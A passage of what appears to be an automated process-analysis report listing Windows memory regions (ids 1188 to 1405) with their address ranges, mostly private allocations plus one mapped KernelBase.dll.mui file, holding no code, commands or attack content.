0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1188 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 1189 start_va = 0x2df0000 end_va = 0x2e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 1190 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1191 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1192 start_va = 0x2dd0000 end_va = 0x2dd0fff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 1193 start_va = 0x2de0000 end_va = 0x2de0fff entry_point = 0x0 region_type = private name = "private_0x0000000002de0000" filename = "" Region: id = 1194 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 1195 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 1196 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 1197 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 1198 start_va = 0x2dd0000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 1199 start_va = 0x2e10000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 1200 start_va = 0x2f10000 end_va = 0x2f10fff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 1201 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1202 start_va = 0x2f20000 end_va = 0x2f20fff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 1203 start_va = 0x2dd0000 end_va = 0x2eaefff entry_point = 0x2dd0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1204 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1205 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1206 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1207 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1208 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1209 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1210 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1211 start_va = 0x3010000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 1212 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1213 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1214 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1215 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1216 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1217 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1218 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1219 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1220 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1221 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1222 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1223 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1224 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1225 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1226 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1227 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1228 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1229 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1230 start_va = 0x2ff0000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1231 start_va = 0x3030000 end_va = 0x312ffff entry_point = 0x0 region_type = private name = "private_0x0000000003030000" filename = "" Region: id = 1232 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1233 start_va = 0x3130000 end_va = 0x316ffff entry_point = 0x0 region_type = private name = "private_0x0000000003130000" filename = "" Region: id = 1234 start_va = 0x3170000 end_va = 0x326ffff entry_point = 0x0 region_type = private name = "private_0x0000000003170000" filename = "" Region: id = 1235 start_va = 0x3270000 end_va = 0x3270fff entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 1236 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 1237 start_va = 0x3280000 end_va = 0x3280fff entry_point = 0x0 region_type = private name = "private_0x0000000003280000" filename = "" Region: id = 1238 start_va = 0x3290000 end_va = 0x3290fff entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 1239 start_va = 0x32a0000 end_va = 0x32a0fff entry_point = 0x0 region_type = private name = "private_0x00000000032a0000" filename = "" Region: id = 1240 start_va = 0x3270000 end_va = 0x3270fff entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 1241 start_va = 0x3280000 end_va = 0x3280fff entry_point = 0x0 region_type = private name = "private_0x0000000003280000" filename = "" Region: id = 1242 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1243 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1244 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1245 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1246 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1247 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1248 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1249 start_va = 0x3010000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 1250 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1251 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1252 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1253 start_va = 0x3150000 end_va = 0x318ffff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 1254 start_va = 0x3190000 end_va = 0x328ffff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 1255 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 1256 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1257 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1258 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1259 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1260 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1261 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1262 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1263 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1264 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1265 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1266 start_va = 0x3010000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 1267 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1268 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1269 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1270 start_va = 0x3150000 end_va = 0x318ffff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 1271 start_va = 0x3190000 end_va = 0x328ffff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 1272 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 1273 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1274 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1275 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1276 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1277 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1278 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1279 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1280 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1281 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1282 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1283 start_va = 0x3010000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 1284 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1285 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1286 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1287 start_va = 0x3150000 end_va = 0x318ffff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 1288 start_va = 0x3190000 end_va = 0x328ffff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 1289 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 1290 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1291 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1292 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1293 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1294 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1295 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1296 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1297 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1298 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1299 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1300 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1301 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1302 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1303 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1304 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1305 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1306 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1307 start_va = 0x3010000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 1308 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1309 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1310 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1311 start_va = 0x3150000 end_va = 0x318ffff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 1312 start_va = 0x3190000 end_va = 0x328ffff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 1313 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 1314 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1315 start_va = 0x2ed0000 end_va = 0x2ed0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 1316 start_va = 0x2ee0000 end_va = 0x2ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 1317 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1318 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1319 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1320 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1321 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1322 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1323 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1324 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1325 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1326 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1327 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1328 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1329 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1330 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1331 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1332 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1333 start_va = 0x3010000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 1334 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1335 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1336 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1337 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1338 start_va = 0x2ed0000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 1339 start_va = 0x2f10000 end_va = 0x300ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 1340 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1341 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1342 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1343 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1344 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1345 start_va = 0x2ff0000 end_va = 0x2ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1346 start_va = 0x3000000 end_va = 0x3000fff entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1347 start_va = 0x3010000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 1348 start_va = 0x3050000 end_va = 0x314ffff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1349 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1350 start_va = 0x3150000 end_va = 0x3150fff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 1351 start_va = 0x3160000 end_va = 0x3160fff entry_point = 0x0 region_type = private name = "private_0x0000000003160000" filename = "" Region: id = 1352 start_va = 0x2ff0000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1353 start_va = 0x3030000 end_va = 0x312ffff entry_point = 0x0 region_type = private name = "private_0x0000000003030000" filename = "" Region: id = 1354 start_va = 0x3130000 end_va = 0x3130fff entry_point = 0x0 region_type = private name = "private_0x0000000003130000" filename = "" Region: id = 1355 start_va = 0x3140000 end_va = 0x3140fff entry_point = 0x0 region_type = private name = "private_0x0000000003140000" filename = "" Region: id = 1356 start_va = 0x3150000 end_va = 0x3150fff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 1357 start_va = 0x3160000 end_va = 0x3160fff entry_point = 0x0 region_type = private name = "private_0x0000000003160000" filename = "" Region: id = 1358 start_va = 0x3170000 end_va = 0x31affff entry_point = 0x0 region_type = private name = "private_0x0000000003170000" filename = "" Region: id = 1359 start_va = 0x31b0000 end_va = 0x32affff entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 1360 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 1361 start_va = 0x32b0000 end_va = 0x32effff entry_point = 0x0 region_type = private name = "private_0x00000000032b0000" filename = "" Region: id = 1362 start_va = 0x3380000 end_va = 0x347ffff entry_point = 0x0 region_type = private name = "private_0x0000000003380000" filename = "" Region: id = 1363 start_va = 0x7fe8c000 end_va = 0x7fe8efff entry_point = 0x0 region_type = private name = "private_0x000000007fe8c000" filename = "" Region: id = 1364 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1365 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1366 start_va = 0x2ed0000 end_va = 0x2ed0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 1367 start_va = 0x2ee0000 end_va = 0x2ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 1368 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 1369 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1370 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1371 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1372 start_va = 0x2ff0000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1373 start_va = 0x30f0000 end_va = 0x312ffff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 1374 start_va = 0x3130000 end_va = 0x322ffff entry_point = 0x0 region_type = private name = "private_0x0000000003130000" filename = "" Region: id = 1375 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1376 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1377 start_va = 0x3230000 end_va = 0x3230fff entry_point = 0x0 region_type = private name = "private_0x0000000003230000" filename = "" Region: id = 1378 start_va = 0x3240000 end_va = 0x3240fff entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 1379 start_va = 0x3230000 end_va = 0x3230fff entry_point = 0x0 region_type = private name = "private_0x0000000003230000" filename = "" Region: id = 1380 start_va = 0x3240000 end_va = 0x3240fff entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 1381 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1382 start_va = 0x2ff0000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1383 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1384 start_va = 0x30f0000 end_va = 0x30f0fff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 1385 start_va = 0x3100000 end_va = 0x3100fff entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 1386 start_va = 0x30f0000 end_va = 0x312ffff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 1387 start_va = 0x3130000 end_va = 0x322ffff entry_point = 0x0 region_type = private name = "private_0x0000000003130000" filename = "" Region: id = 1388 start_va = 0x3230000 end_va = 0x326ffff entry_point = 0x0 region_type = private name = "private_0x0000000003230000" filename = "" Region: id = 1389 start_va = 0x3270000 end_va = 0x336ffff entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 1390 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 1391 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 1392 start_va = 0x2eb0000 end_va = 0x2eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1393 start_va = 0x2ec0000 end_va = 0x2ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 1394 start_va = 0x2ed0000 end_va = 0x2ed0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 1395 start_va = 0x2ee0000 end_va = 0x2ee0fff entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 1396 start_va = 0x2ff0000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 1397 start_va = 0x3030000 end_va = 0x306ffff entry_point = 0x0 region_type = private name = "private_0x0000000003030000" filename = "" Region: id = 1398 start_va = 0x3380000 end_va = 0x347ffff entry_point = 0x0 region_type = private name = "private_0x0000000003380000" filename = "" Region: id = 1399 start_va = 0x3480000 end_va = 0x357ffff entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1400 start_va = 0x7fe8c000 end_va = 0x7fe8efff entry_point = 0x0 region_type = private name = "private_0x000000007fe8c000" filename = "" Region: id = 1401 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 1402 start_va = 0x2eb0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1403 start_va = 0x3070000 end_va = 0x316ffff entry_point = 0x0 region_type = private name = "private_0x0000000003070000" filename = "" Region: id = 1404 start_va = 0x3170000 end_va = 0x3170fff entry_point = 0x0 region_type = private name = "private_0x0000000003170000" filename = "" Region: id = 1405 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name 